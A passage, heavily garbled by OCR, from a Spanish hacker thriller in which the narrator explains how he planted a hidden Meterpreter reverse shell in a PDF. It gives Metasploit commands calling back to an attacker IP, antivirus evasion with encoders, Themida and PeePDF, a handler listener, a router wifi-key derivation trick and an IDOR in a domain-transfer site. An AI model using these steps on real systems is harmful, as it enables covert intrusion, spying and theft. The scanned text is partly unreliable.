P 1 habia entregado Antes de salir al pasillo, se asomé para comprobar que estaba libre de amenazas. Al parecer,

-TIMero vayamos a tu casa Ahora necesito poner en orden mis ideas adoptaba las mismas precauciones a pie que en vehiculo, y eso estaba bien. Solo cuando

-No hay problema, colega. Tomate tu ti empo. estuvo seguro, me hizo una sefia para que lo acompaara a la puerta 'de su casa Deshzo

una mano por el contorno del marco Y I€CUpero una pequefia astilla pillada con la Jjamba.

gu:lriga?;)sbsﬂenmgzdcada uno sumido en su propio mundo interior, pero mientras que§ Supuse que la utilizdba como FAmPa para detectar posibles intrusos.
Staba sacudido por enormes convulsiones i 1 i S
p es, el de Marcos, a la vista de su rostro. -{No deberia ser yo el paranoico? —murmuré.

Atravesibamo : : y ; # Marcos asintié como si estuviera de acuerdo con mi comentario. Abri¢ la puerta y
parcela de E;rf-auig o due milagrosamente habia escapado a'la fiebre de urbanizar cadal¥  desconects la alarma. Me sefial6 el salén con un gesto de cabeza, a modo de invitacion,

‘# antes de meterse en la cocina. Yo me dejé caer en el sof4, que junto al sobrio televisor, era
uno de los pocos muebles que alegraban la estancia. El resto de su batcueva se componia
de un banco de pesasy varias mancuernas desparramadas por el suelo.

Cuando Marcos regreso, lo hizo con un par de cervezas. Me offecié una y se sent6 a mij
lado. Dio un largo trago a la suya antes de recostarse en el sof4 sin decir palabra, como el
anfitrién que espera educadamente que el invitado inicie la conversacion, mientras disfruta
fon su compafiia y saborea una bebida fifa, No podia creer su impasibilidad después de
fodo lo que habia pasado. De haber estado en su lugar, me habrian quemado las preguntas
en la boca. Decidi no prorrogar las explicaciones. Se lo debia,

ue lejos de compartir mi alivio & ina.: { - - 1 insti
ge L Jde semanaPan mi alivio e inquietud parecia estar disfrutando de un agradable viaje: G;l:e acuerdas de Yolanda Diaz, del instituto? ‘
- ~¢1u antigua novia? —pregunto a su vez, con el amago de una sonrisa en la comisura de '
-Marcos —dije. los labios.
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-Sabes que nunca fue mi novia —suspiré, entre enfadado y abatido-. El caso es que
ayer quedamos para tomar algo, pero ella solo estaba interesada en que descifrara un
archivo...

e A ———————

=

b

Pese a mis intentos por simplificarlo, el relato de los hechos me llevo mas de media hora.
Traté de no dejarme nada en el tintero y referi cada suceso relevante, desde la llamada |
hasta la tentativa de asesinato, pasando por la cita, la entrega del archivo cifrado, el |
descubrimiento del secuestro y la posterior investigacién, sin olvidar la implicacién del |
hermano en todo lo anterior. i

Cuando terminé, me habia bebido toda la cerveza y en la mano solo sostenia una botella
vacia. Marcos me la quité y se 1a llevd a la cocina, regresando al momento con otras dos |
recién abiertas.

-Y ahora, ;qué piensas hacer? —pregunto.

-Antes de que vinieran a por mi, estaba a punto de acudir a la policia. Pensaba denunciar |
el secuestro. Habia reunido algunas pruebas y tenfa el archivo. Creo que ¢s la clave de
todo, pero se lo han llevado. Ahora no estoy seguro.

————

- Por qué?

-Si esos tipos estaban dispuestos a liquidarme por haber visto el archivo, no me
Imagino qué podrian hacerle a Yolanda si se vieran acosados por la policia. Parecia
que estaban dispuestos a todo para recuperarlo. Ademés, ;qué iba a contarle a la poli?
“Buenas tardes, sefior agente, venia para denunciar que dos sicarios han intentado
asesinarme porque he conseguido descifrar un archivo misterioso, el cual me habia
sido previamente entregado por una amiga, a la que por cierto estos dos mantienen |
secuestrada y seguramente tengan algo que ver con la desaparicién de su hermano, de
quien es posible que proceda originariamente el archivo en cuestién. (Qué cémo sé todo
esto? Bien sencillo, porque he iniciado una investigacion ilegal, durante la cual me he
visto obligado a transgredir varios preceptos del codigo penal, por cierto, a fin de evitar
la intervencion de las autoridades hasta descubrir el papel de mi amiga en todo este
asunto, por si estuviera metida en algo delictivo, ya sabe. Ah, se me olvidaba. Si van ]
a mi domicilio, con suerte encontrardn a uno de los matones. No se preocupen, estard ;
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inconsciente, con la mufieca rota y desarmado, cortesia de mi amigo, que se ha guardado.
la pistola por algiin motivo que se me escapa. Juntos hemos abandonado la escena del |
crimen y, tras meditarlo tomando unas cervezas en su casa, hemos decidido finalmente
compartir esta informacién con la policia. Por cierto, desgraciadamente ya no tengo el
archivo. Tendrén que confiar en mi palabra”. ;Es esto lo que tendria que decir? S

Marcos permaneci6 en silencio, como si estuviera meditando seriamente los prosy coutra_S:'ﬁ{
de mi propuesta. Termin6 sacudiendo la cabeza, rechazandola. i
-Como resumen no estd mal. Pero te pasaras la noche en una sala de interrogatorios
antes de que los polis empiecen a buscar a tu novia. Ademés, nuestro amigo ya se habr’
marchado. No le di tan fuerte.
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-Oye, gracias por eso otra vez, de verdad. Menos mal que acudiste pronto a mi llamada.
No s€ lo que habria pasado si no hubieras Ilegado en ese momento.

-Que estarias muerto.
-Eres un capullo, ;lo sabes?
-No paran de decirmelo.

-¢Por qué no me extrafia? —pregunté, y sintiendo de pronto la urgencia de la situacién,
confesé-: jNo sé qué hacer!

-Si quieres ir a la policia, adelante. Te acompafiaré y juntos podremos dar las oportunas
explicaciones. Pero si de verdad quieres encontrar a tu novia, tendremos que seguir
donde lo dejaste. Si fueron a por ti es porque estabas cerca de descubrir algo.

-Pero, ;cémo supieron que yo tenia el archivo? —reflexioné. Era una duda que no paraba
de torturarme.

-Evidente. Tienen a la chica. Ella se lo dijo.
-Tiene que estar muy asustada. De lo contrario, nunca me habria expuesto a ese peligro.

-No te atormentes. Cualquiera puede ser obligado a hablar bajo una presion conveniente.
Todos tenemos un limite, colega.

-¢Incluso ta?
-Si, incluso yo. Solo que todavia nadie ha conseguido alcanzarlo —sentencio, muy serio.

-;Has pensaglo en tuitear todas esas fanfarronadas tuyas? Son como los chistes de Chuck
Nortis.
-Yo no fanfarroneo... Y tampoco tuiteo... Y me gusta Chuck Norris, ;qué pasa con é1?

-Déjalo, Marcos —techacé seguir por ese camino-. Solo dime cudl es el siguiente paso.

-Continuar donde lo dejaste. Averiguar donde tienen a la chica. Estudiar el terreno,
entrar, eliminar amenazas. Operacién estandar de rescate y evasion.

-;Qué?
-Encontrar a la chica —tepitié-. ; Tienes alguna pista que nos pueda llevar hasta ella?

-Ninguna en absoluto -confesé-. Lo tinico que tenia era el archivo. Estaba a punto de
volver a estudiarlo cuando esos tipos se lo llevaron el pendrive y... jUn momento!

-, Qué?
-iEl pendrive!
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-Lo siento, no lo pillo —dijo Marcos.
-Trataré de explicarlo.

Le conté lo que habia hecho con el archivo cuando todavia confiaba en entregarselo a
Yolanda. Sabia que ¢lla tenia serios problemas, pero ignoraba la naturaleza de los mismos,
Mi mayor temor era que no confiase en mi lo suficiente y mi ignorancia me impidiera
ofrecerle la ayuda que necesitaba. Por esa razén modifiqué el PDF, para tener acceso a su
ordenador y buscar alli la causa de su angustia. Nunca pensé que mi curiosidad y falta de
ética servirian ahora para desenmascarar a los responsables de su secuestro.

Aquella mafiana habfa alterado el documento, afiadiendo un pequefio c6digo que
aprovechase alguna de las decenas de vulnerabilidades de Adobe Reader, para poder
acceder al ordenador de mi amiga. El problema era acertar, ya que, dependiendo del fallo
que explotase el cddigo, afectaria a unas u otras versiones, y yo desconocia cual de ellas
tenia instalada.

El exploit, que es como se llama a este tipo de c6digos que aprovechan un fallo, ejecutaria
las acciones gue especificase: por ejemplo, mostrar contrasefias guardadas en el equipo,
hacer capturas ‘de pantalla o cualquier otra cosa que se me ocurriera. A estas acciones
incluidas dentro de un exploit se las denomina payload o shellcode y no son mas que una
micro aplicacién ejecutable.

“Tenia claro que el payload que queria usar debia hacer que el PC de Yolanda se conectase a

mi servidor y esperase nuevas 6rdenes, como subir y bajar otros documentos, guardar todas
las pulsaciones de su teclado e incluso tomar control total como si yo mismo estuviera
delante fisicamente.

“Revisé las vulnerabilidades que mas comimmente se explotaban y me hice una pequefia
“tabla para ver cudl de ellas me interesaba usar.

Vulnerabilidades de Adobe Reader Versiones vulnerables
Collab.collectEmaillnfo() 8.1.1

CoolType (SING) <8.2.4,<9.3,4
Collab.getlIcon() <7.1.1,<8.1.3, <9.1.
jbig2decode 9.0.0,8.1.2




Hacker Epico
Vulnerabilidades de Adobe Reader Versiones vulnerables
libtiff 9.3.0
Media newplayer <9.2
U3D 940/945/94.6
Embedded Executable <0.3.3,<823

Tabla 4: Resumen de vulnerabilidades més destacadas de Adobe Reader

Segun los resultados, la vulnerabilidad con més probabilidad de éxito era la que afectaba
a CoolType. Hice pruebas con el exploit hasta que funciond. Desgraciadamente, cuando se
ejecutaba el payload, Adobe Reader reportaba un error y se cerraba sin llegar a mostrar el
documento. Eso seria bastafmte sospechoso y no queria que me pillasen.

Por ese motivo, preferi incrustar directamente el payload dentro del PDF y configurar el
documentg para que al abrirse lo ejecutase. Tan solo tenia que asegurarme de que Yolanda
pulsara sobre el botén de “Aceptar” cuando se mostrase ¢l mensaje de advertencia de
seguridad, jndicando que una aplicacion solicitaba permiso para iniciar.

-¢,Y €s0 no serd atn mas sospechoso? -pregunté Marcos.

-No—contesté-. En este caso, el fallo permite personalizar el texto del mensaje con lo que
quieras. Yo puse: “Pulse Aceptar si desea visualizar el documento”. Nada sospechoso.

Marcos me fulminé con la mirada, como si la traicién que urdi contra la intimidad de
Yolanda la hubiera sufrido él mismo. ;

-Recuérdame que, si alguna vez tengo un ordenador, nunca te deje ponerle las manos |

encima -dijo, suavizando la expresion-. Y aqui los antivirus esos, ;no tienen nada que |
decir? |

La pregunta me sorprendid por pertinente, ya que, efectivamente, el mayor problema era |
evadir los antivirus. Sonref orgulloso y contintie explicando.

Los antivirus detectarian tanto el payload como el PDF, por lo que me aseguré de construir
ambos para que pasaran desapercibidos. :
Casi todos los antivirus funcionan con firmas y analisis de comportamientos anémalos;
por lo que haciendo una aplicacién a medida, saldria de su radar sin ningin problema.
Desgraciadamente, el dia anterior no tuve demasiado tiempo ni ganas, y me resulté mucho
mas rapido cambiar uno ya creado.

Posiblemente, el payload mas famoso y completo sea meterpreter, incluido dentro del-.;:l_
framework de auditoria Metasploitzzl &

Meterpreter permite multitud de opciones, entre ellas: \
- Ejecutar comandos del sistema. 3
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- Registrar pulsaciones de teclado.

- Volcar contrasefias de usuarios

- Activar la webcam.

- Capturar en una imagen lo que se muestra en pantalla.

- Subir y bajar archivos al equipo.

- Capturar el trafico que pase por la red.

- Averiguar que aplicaciones tiene instaladas y si hay antivirus.

- Dejar el payload persistente para que sea ejecutado cada vez que el equipo se
reinicia, tal y como haria cualquier malware.

- Inyectar una sesion de VNC que permite el control remoto.

Otra caracteristica importante de esta herramienta es la posibilidad de hacer la comunicacién
en modo inverso. Es decir, una vez meterpreter se ejecuta, este tratard de conectarse a
un servidor que esté esperando esta conexion, lo que elimina la necesidad de conocer la
direccién IP del sistema infectado y de que tenga un puerto abierto de cara a Internet, lo
que hoy en dia es précticamente imposible con las ADSL y los routers que filtran el trafico.

Decidi llamar “premio.exe” al archivo ejecutable que iba a embeber dentro del PDF; lo
.creé usando el comando ms fpayload de Metasploit, especificando en la variable LHOST
la direccién IP de mi servidor, que era a la que se debia conectar, ademds del puerto con
LPORT. Para tratar de ocultar el binario a los ojos del antivirus, lo codifiqué con otra
herramienta del framework: msfencode, usando el algoritmo “shikata ga mai” con tres
iteraciones; pere, desgraciadamente, este método no es lo suficientemente eficaz hoy en dia
y tuve que seguir “mutidndole”.

root@bt: ¥ i
root@bt:-# msfpayload windows/meterpreter/reverse_tcp LHOST=176.9:126.35
LPORT=8860 R | msfencode -e x86/shikata ga nai -c 3 -t exe > premio.exe
[*] x86/shikata_ga nai succeeded with size 317 (iteration=1)

[*] xB6/shikata_ga nai succeeded with size 344 {iteration=2)

[*] x86/shikata ga_nai succeeded with size 371 {iteration=3)

root@bt:~#

Img 55: Creacion de payload con msfpayload de Metasploit.

Una vez creado, probé a subirlo a la pigina web de Virustotal”, en la cual decenas de
glotores antivirus deciden si lo tratan como un mal bicho o, por el contrario, lo consideran
enigno.
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pMvirustotal

SHAZ56 1Bad015c28ce3c7422769h02a0448042371230e2cd1 €e5720866233482bBd4 15
Narnbre premia exe

Detecciones 31542

P

A
1Mas detailes

Img 56: Resultado del anélisis del payload en Virustotal.com.

Que el premio fuese detectado no era una opciodn, asi que usé una aplicacién mds para
oc’:u}tarla: los packers se encargan de transformar una aplicacion cifrando partes insertalzldo
cédigo basura y mutando la propia aplicacién en tiempo de gjecucién Rea,huente son
productos comerciales que usan compaiifas de software para proteger sﬁs aplicaciones y

evitar que hagan cracks o saquen generadores de ntimeros de serie. Aunque también hay
packers exclusivos para malware.

El 1]159 de pack?rs en el malwa}re creado por rusos para robar pasta es muy habitual y,
también, un metodo que funciona. Personalmente, tenia especial carifio a Themida®
producto espafiol y usado en aplicaciones tan populares como Skype. ,

L Themida

T e T [ P I T T, e et e e i S
s

P e cimm iy | -
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Tras ejecutario y procesar el binario recién creado, la cosa mejor6.

pvirustotal

SHAD5B 4hacbBc53b3cTaeddec310cafic354fd29ac99ca29dee e81229R2025172b2:5

4\

@0 @O0

Nombre premio_themida exe

Deteccianes 5742

N
s Hetalss.

Img 58: Resultado del analisis del payload empaquetado con Themida en Virustotal.com.

El cambio fue importante, ya que, aunque atin era detectado por 5 antivirus, los principales
fabricantes como McAfee, Kaspersky, Panda, Symantec, ESET, Bitdefender, F-Secure,
Avira o Antivir no lo reportaron como sospechoso. Suficiente.

Una vez listo, incrusté el archivo al PDF desde la consola de Metasploit con los comandos:

msf > use exploit/windows/fileformat/adobe_pdf_embedded exe A
exploit(adobe_pdf_embedded_exe) > set INFILENAME /tmp/Operationen.pdf |
INFILENAME => /tmp/Operationen.pdf
ms exploit (adobe_pdf_embedded_exe) > set FILENAME /tap/Operationen2. pdf
FILENAME = /tmp/Operationen2.pdf {
m exploit(adobe_pdf_esbedded_exe) > set EXENAME /tmp/premio_themida.exe r
EXENAME => /tmp/premio_themida.exe -
Imsf  exploit(adobe_pdf_eshedded_exe) > set LAUNCH_MESSAGE Pulse Aceptar si X
desea vdsualizar el documento i
LAUNCH_MESSAGE => Pulse Aceptar si desea visualizar el documento
exploit(adobe_pdf esbedded_exe) > exploit

Reading in ‘/tmp/Operationen.pdf’'...

Parsing '/tmp/Operationen.pdf'...

Using '/tmp/premio_themida.exe' as payload...

Parsing Successful. Creating ‘/tmp/Operationen2.pdf' file...

/tmp/Operationen2.pdf stored at /root/.msf4/local/Operationen2.pdf
msf exploit(adobe_pdf_eshedded_exe) >

Img 59: Creaci6n de archivo PDF con el payload incrustado usando Metasploit.
- use exploit/windows/fileformat/adobe_pdf_embedded_exe: para indicar el
nombre del exploit a usar. En este caso, embeber un ejecutable en un PDF.
- set INFILENAME /tmp/Operationen.pdf: especifica el nombre del PDF
original que serd usado de base.
- set FILENAME /tmp/Operationen2.pdf: define el nombre del nuevo archivo a
generar. Luego lo renombré.

- set EXENAME /tmp/premio_themida.exe: especifica el nombre del ejecutable
a afiadir al PDF.
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- set LAUNCH_MESS,AGE Pulse Aceptar si desea visnalizar el documento:
para configurar el mensaje que Adobe Reader mostrard cuando el documento se

abra, y en el que el usuario ha de pulsar sobre el botén Aceptar para que el binario
que contiene se ejecute.

- exploit: es el iltimo comando y, en este caso, genero el documento PDF deseado.
-Por fin —dijo Marcos-. Parecia que no ibas a terminar nunca.

-No, no, si no he terminado. El PDF contiene un ejecutable practicamente invisible

para los antivirus, pero, como te dije antes, hay que camuflar también el PDF o sera
detectado.

-Ya me imaginaba que no seria tan facil —se burlé.

Al subir el PDF con el “extra” incrustado a virustotal, me encontré otra vez con resultados

similares:
Mvirustotal

SHAZ58 751421a428a8bbaar7 b5d0at 134 b61e003de5985 34bb54334

Nombre: Operationan2 pdf
i I Deteccianes: 21442
it %0 @ O

Img 60: Resultados del andlisis del PDF con el payload en Virustotal.com.

Una herramienta nacional mis venia al rescate: PeePDF%. Disefiada para analizar
documentos maliciosos, también podia ser usada para crearlos.

root@bt; ~

root@bt:~# /pentest/forensics/peepdf/peepdf.py -i Dperationen2.pdf
File: Operationen2.pdf

05: bedd38866a158¢6b3cfce6ed3en8a492

SﬂAl: beca7cddT8bfac30cd87052061643a2108806430

Catalog: 1
Info: 2

Objects (i@8): [1, 2, 3, 4,5,6,7, 8,9, 18, 11, 12, 13, 14, 15 :
Img 61: Informacién del PDF proporcionada por la utilidad PeePDF,

3
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Las técnicas que usa aprovechan la generosidad de Adobe Reader para procesar archivos
corruptos, modificando el PDF de forma que es practicamente ilegible por cualquier otro
motor. También se cifra su contenido con una contrasefia nula o, dicho de otra forma, en
planco, que evita que el documento sea abierto por casi cualquier otro lector.

PPOF=
PPUF> help it

Documented commands (type help <topic>):

‘I:y‘tes encrypt js_analyse modify replace stream |
changelog errors  js_beautify object reset tree £
craate exit js_code offsets save xor i
idecode filters js_jein open save_version xor_search |
decrypt hash Js_unescape quit sctest
eabed help log rawobject search
encogs info malformed output rawstream set
encode_strings js metadata references show
PPOF> encode_strings

File encoded successfully

PPOF= encrypt

File encrypted successfully!!

FPOF> malformed_output
1formed options successfully enabled ¥

PPDF= save

File saved succesfully!!

0] |
Img 62: Modificacion del PDF para no ser detectado por los antivirus usando PeePDF.

~ El resultado se hizo notar: tan solo 6 compafifas encontraron sospechas en el documento e,
. igual que en el caso anterior, ninguna era relevante en cuanto a su popularidad.

' Lasiguiente y tiltima parte era dejar escuchando en mi servidor un sandler que esperase la
~conexion. Utilicé msfcli, otro de los comandos para interactuar con Metasploit sin tener

~que abrir la consola completa (msfconsole):
[rootivelouria ~1# mstcli exploit/muiti/handler PAYLOAD=windows,
hoterpreter/reverse tcp LHOST=176.9.126.35 LPORT=4444 E
[*] Please wait while we load the module treea...
=[ metasploit vi.5.0-dev [core:;4.5 api:1l. 0]

4 — ——=] 988 exploits - 545 auxiliary - 162 post
4+ —— ——=[ 263 payloads — 28 encoders - 6 nops

[PAYLOAD => windows/meterpreter/reverse_top
[LEHOST => 176.9.126.35

LPORT => 4444

[*] Started reverse handler om 176.9.126.35:4444

Img 63: Creacién del servicio de conexién inversa usando msfcli de Metasploit.

El resto consistia en mirar la pantalla como €l que mira las estrellas y esperar la conexion
Chtrante,
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Capitulo X1V
NIC-2

Marcos atendié a todas mis explicaciones con la expresion de un alumno aventajado.
cuando terminé mi exposicion, con el portatil abierto entre nosotros, se recostd en el sofa
y asintio satisfecho.

TR

P

_Asi que puedes ver quién esta detras de todo en tu bola de cristal -reflexiond, apoyando
su mano sobre mi hombro, en gesto de reconocimiento.

SRS £ O G

-Bueno...-medité-. Mi equipo no es ninguna bola de cristal; y en realidad no podré ver
a quien lea el archivo, solo el contenido del ordenador dénde se conecte el pendrive
donde esta guardado. Pero, en lineas generales, veo que lo has entendido perfectamente.

-Hablamos codigos diferentes, pero el mensaje es el mismo. Tenemos una pista.

-Si, pero hay que esperar a que conecten el pendrive. Por cierto, necesito una conexion.
¢No tendras fibra por casualidad?

-Creo que hay una caja de cereales de avena en la cocina.

_ £  Podia haberse tratado de una broma, pero su expresion me indicaba lo contrario.
| § - ADSL? —puntualicé-. ;Cuél es la contrasefia del router?

- Busqué el dispositivo por todo el salén y, al no encontrarlo, dirigi una mirada interrogativa
_ _a Marcos. Sus ojos de mirada neutra y su sonrisa irénica me indicaron que no solo no
“§  disponia de red wifi en su casa espartana, sino que nunca llegaria a entender por qué alguien
i - precisarfa de tal cosa.

i ~ _Est4 bien —me rendi-. Comprobaré si alguno de tus vecinos ha conseguido llegar al

| siglo XXI.

En los bloques de viviendas hay instalaciones de ADSL por todas partes; para estos casos,

suele ser suficiente con utilizar un navegador para calcular la contrasefia de algin router

8 del que se ha averiguado el algoritmo con el que se genera, cOmo, por ejemplo, el famoso

§ caso de Movistar y sus routers marca Comtrend, donde la clave se compone por €l hash

'} MDS5 de una contrasefia estética “bcgbghgg”, las XXXX del nombre de la wifi del tipo

' WLAN_XXXX, que es un dato piiblico y el BSSID (direccion MAC) del punto de acceso,
¢ también es publico. Es decir: MD5(begbghgg+XXXX+MAC).

Este modelo de router no es el unico caso, y estos fallos ya tienen su antigiiedad, por lo que
ia Ya hay aplicaciones para el mévil que generan la contrasefia instantaneamente, con tan solo
~ ©Scanear los nombres de redes que hay cercanas.




114 Hacker Epico

Armranqué iWep Pro® en el iPhone y en medio minuto accedi a una de ellas. Pese a
la ilegalidad del asunto, siempre pensé que birlarle fluido telemdtico al vecino era el
equivalente a comerse una fruta de su manzano. Tan solo la travesura de un momento
puntual.

Wifi Scanner

Wifi Scanner

Supported

OnLine Heip OnLine Help

™

Exploit £
Img 64-65: Aplicacion iWep Pro con informacién de puatos de acceso y contrasefia encontrada.
Una vez tuve todo dispuesto, nos situamos ante la pantalla del portatil. Sabia que podian |
pasar horas, incluso dias, antes de obtener algim resultado, pero confiaba en que los
secuestradores quisieran comprobar cuanto antes que realmente habian obtenido lo que

buscaban. Para ello, debian conectar el pendrive a un ordenador y abrir el archivo. Esa seria
mi puerta de entrada y la {inica posibilidad de descubrir una nueva pista que me condujese’

hasta Yolanda.

Abri el PuTTY?", conecté por SSH a mi servidor, que a bien tenia de compartir con otros :

trabajadores de Epica, y recuperé el screen? donde observé desilusionado que todo |
seguia tal y como lo habfa dejado la tltima vez que accedi. jHabria fallado el exploit? =
Seguramente usasen alguna version no vulnerable y mis esfuerzos habian sido en vano. O

tal vez... ;jaun era pronto?

No podia hacer otra cosa que esperar; asi que, como en otras ocasiones, refugié mis

pensamientos en el terminal, intentando despistar mis ideas en el NIC y el fallo que habia |
encontrado.

Me habia dado cuenta de que practicamente podia generar un enlace valido para transferiry. 8

aduefiarme de cualquier dominio argentino; solo faltaba averiguar el codigo del usuario. Me

|
|
i
i
:

ik
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conecté a_la pagina web del NIC y me cre€ un usuario gratuito. Con ese usuario, revisé las
molonal}dades que pfrema la aplicacién: “Mis dominios”, “Mis solicitudes”, “Solicitud de
Cancelacion” y “Solicitud de Transmisién de dominio”,

pentro de la opcién “Mis dominios™, se visualizaban todos los que eran de mi propiedad
el histérico de cada uno de ellos, cudndo se registraron y qué empresas registradoras lo
habian gestionado.

= ! Historial de un Dominio _ ) _
P = & L TR s 2 . el e et — SRR T N e

Dominio: aaa.es

facha - Ustana .

13/05/2012 - 04:11 - DIGIVAL [ Fecha ds Caducidad 18/05/2012 - 00:00 18/05/2013 - 00:00

13/05/2011 - 04311 - DIGIVAL [l Facha de Caducidad 18/05/2011 - 00:00 16/05/2012 - 00:00
23/03/2011 - 20:44 - DIGIVAL [ ONS ns2.digival.net nsl . digival.org
DNS nst digival.net nsd.digival.org
DNS nsl.digival.net ns2.digival.org
oNs n32.digival.net
FCF BS292-ESNIC| SSP2-ESHIC
! FCT PS252:ESMIC-F4 SSP2-ESNIC
113/05/2010 - 04:12 - DIGIVAL [ Fecha de Caducidad 18/05/2010 - 00:00 18/05/2011 - 00:00

Img 66: Informacion historica de un dominio.

En ese momento me percaté de que la URL del histérico estaba formada por otro valor
numérico: https://www.nic.ar/sgnd/dominio/buscarHistorialDominio.action?codDominio

- =2240039&nombreDominio=aaa.es, y en ¢lla se reproducia exactamente el mismo fallo:

modificando el campo “CodDominio”, se podia consultar el historico de cualquier dominio.

8 'lndepcndieuterﬁeme de que fuera o no de mi propiedad.

~ Segui viendo qué otra informacion podia sacar de alli y observé que, en el codigo fuente
- de la pagina de histdricos, se encontraba la referencia del codigo de usuario (CodUsuario)
* de ese dominio. Justo el valor que me faltaba para generar por completo la URL vélida de
* la transferencia.

Me encontraba practicamente en la misma situacidn: necesitaba el cédigo de un dominio
para ver su historico y, desde ahi, averiguar el cddigo de usuario. La diferencia es que
tenia una opcién: podia recorrer y guardar una relacién entre nombres de dominios,
codigos de esos dominios y codigos de usuario, y consultarla posteriormente. Es decir,
tendria una base de datos que, una vez creada, me serviria para transferir cualquier
dominio sin necesidad de hacer peticiones masivamente.

-iEjem! -Un carraspeo me interrumpié. Marcos miraba por encima de mi hombro la
pantalla, como si realmente le importase lo que me traia entre manos-: ;Qué estis

haciendo ahora?
- Nada, nada —le dije, minimizando las ventanas.
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Jeent="thiz.classlasc="cga' " > ihcainiosass.cs

jpen’ ) s;return false;” >PS2S2=ESNIC-F4<
n'):recurn false:” »SSP2-EINICK/a></

faz Cantastabas  sctica FETIES

ar i act

doe222724' )
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i3 E3aaTE0s $#724" ) .dialog('open') ireturn Zalse:" FFEISI-TINZC-T4<
e P ) .diaiog{'open' ) ;ecucn false;” >IZPT-TRHIC: »qil

Atta do Dominio

Mis Dominios
ris Solicitudes

Solicitud Cancelatién
do daminio

1VEE2012 - 0421 - DiGIvAL B Fucha de Caducidad - el 13/05/2013 - 00100

Soilctud Transmislén y eszons - oz « oiaIvaL Focha de Caduicidsd 10872012 < 00:00
2venzont - 2004 - mstvaL B DNS a2 digivat.net
mf:“”""‘"‘““” DN At Sgreaet
Especial do dominic DHS l\l—‘hh"l’dm
Contacte con DHS g el net
Dominlas.es P ERSZADIC-F SSPzESNIC
PcT TR sz
1372010 - Da:tk - DaGIVAL Y Fecha de Caicided 12072010 - €0:00 10N - 00:00

Img 67: Deteccién del parametro CodContacto en el codigo fuente de la pagina.

Detras aparecieron Los Vengadores, que nos contemplaron con sus ojos decididos y poses
heroicas. Tenia un fondo de escritorio de la pelicula. Sobra decir que quedé encantado con
el trabajo de Joss Whedon; y es que si le das al creador de Firefly un presupuesto generoso
y el mundo Marvel, consigues una maravilla.

-Crefa que ya habias superado tu inclinacién por los tios con mallas —dijo Marcos.
-;Qué? —La pulla me sorprendi6 con la guardia baja, pero no me impidi6 contraatacar-.
;Ahora vas a decirme que a ti nunca te gusté Batman? Si hasta tenias una lampara que
proyectaba la marca del murciélago en el techo de tu habitacion.

-No es lo mismo.

-;Como que no es lo mismo? —exclamé, cada vez mas envalentonado-. ;Cual es la
diferencia?

-En primer lugar, Batman es de DC —dijo, como si con eso bastara-. Tus amiguitos son
de algo que empieza por M... y no me refiero a Marvel.

-Vaya. Me has convencido Ese es un razonamiento muy solido. Y una respuesta muy
madura por tu parte.

-Mira, colega. No te ofendas. Pero no quiero perder el tiempo tratando de explicar la
superioridad moral y mitoloégica de Batman a alguien que tiene las fotos de patéticos
aspirantes a héroe en su ordenador.

Capituwlo XIV: NIC-2

-Si algo nos sobra ahora, es tiempo —repuse-. No tenemos nada que hacer hasta que
conecten el pendrive.

Esperé con los brazos cruzados y una ceja levemente elevada a que Marcos aceptara el reto.
Quizas mi expresion divertida termind por convencerle.

-Esta bien. Tu lo has querido —dijo, adoptando la postura de alguien que estuviera
esperando un enfrentamiento fisico-. Batman solo se vale de su entrenamiento e ingenio,
no necesita recurrir a extrafios poderes para vencer.

-Vaya. Ahora veo que puedo mantener una conversacion racional contigo -reconoci-.
Pero te equivocas. Batman dispone de todas las armas y vehiculos que industrias Wayne
pueden proporcionarle. En ese aspecto es como Iron Man. El tampoco tiene poderes.
Son sus propios desarrollos tecnolégicos...

-No me compares a ese egolatra alcoholizado con Batman. Les mueven cosas muy
distintas.

- Cémo es eso?

-El verdadero poder de Batman est4 en su valor como simbolo y en su compromiso con
la justicia. El otro es una chatarreria ambulante con pretensiones.

-No estoy de acuerdo. Confundes la apariencia con la verdadera esencia del personaje.
-Y ti confundes algo que puede ser sometido a discusién con un hecho incontrovertible.
-Que es...

-Batman asume su destino con todas las consecuencias. Recuerda su sacrificio en “El
Caballero Oscuro”, cuando carga con la culpa por los crimenes de Harvey Dent para que
Gotham no pierda la esperanza.

-Un modo elegante de huir a su elegante mansion.

-Te equivocas. Batman le dice a Gordon: “O mueres como un héroe, o vives lo suficiente
para verte convertido en un villano™. Eso no es huir, es aceptar tu destino.

-Vas a necesitar algo més que una cita cinéfila para ganar esta discusion.

-Yo creo que no. Porque Batman es el mds grande. Y si eso te supone un problema,
podemos salir a la calle y solucionarlo.

Los ojos frios y estaticos de Marcos me secaron la garganta. Por un momento me quedé
paralizado, sin saber qué responder.

-Escucha, no queria... En realidad a mi me gusta Batman... Solo bromeaba...

Marcos suavizé su expresion con una sonrisa que pronto derivo en una abierta carcajada.

KI5

<7}
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-“Y si eso te supone un problema, podemos salir a la calle y solucionarlo” —rio-. De “El
Indomable Will Hunting”, colega. Deberias verte la cara ahora —mas risas-. Parece que
al final si ha sido suficiente con una frase de pelicula.

-Joder. Me has acojonado de verdad —protesté-. Das mucho mas miedo que Matt Damon.
Incluso que el Matt Damon de “El Caso Bourne™.

Una vibracién en el mévil me anuncié que tenia un SMS. Lo lei mientras escuchaba las
risas de Marcos de fondo. Por segunda vez en tan breve tiempo, el corazon se me detuvo:

“Xanadi. Zona de restaurantes. Frente al KFC. Ahora. Se trata de Yolanda™.

Capitulo XV: KFC m

Capitulo XV
KFC

El centro comercial no estaba lejos. Como el barco que atraca en el puerto que mas demanda
sus mercancias, el complejo al que me dirigia se encontraba accesible (a través de la
autovia) para los cientos de miles de potenciales consumidores que residian en los ntcleos
de poblacién cercanos. Por el estado del aparcamiento, donde era més facil encontrar un
huevo de dragon que una plaza libre, estaba claro que las expectativas comerciales més
optimistas se habian visto totalmente desbordadas. La crisis econémica no impidié que
aquel sabado el centro hubiera sufrido una nueva invasién consumista y, pese a que las
tiendas ya habian cerrado, la zona de ocio seguia infestada.

Marcos me dej6 en la entrada de los cines, el acceso més proximo al drea de restaurantes. Tal
como habiamos acordado, fue a buscar un punto de observacién, donde se mantendria oculto
y alerta ante posibles amenazas. Si viera algo que no le gustase, me avisaria o intervendria,
dependiendo de la situacién. En todo caso, me sentia seguro con él guarddndome las
espaldas. Ultimamente habia vivido demasiadas experiencias desagradables para descartar
la posibilidad de una trampa, pero ¢l mensaje mencionaba a Yolanda y €l encuentro se
produciria en un lugar publico (demasiado piblico para una emboscada, segiin Marcos),

dos razones maés que suficientes para acudir.

Atravesé la esl‘)esa niebla producida por los fumadores agolpados en el exterior y penetré
en el oasis de aire puro preservado por las autoridades sanitarias. Solo que ese aire estaba
impregnado de los mas exdticos olores, provenientes de tantos restaurantes como gustos
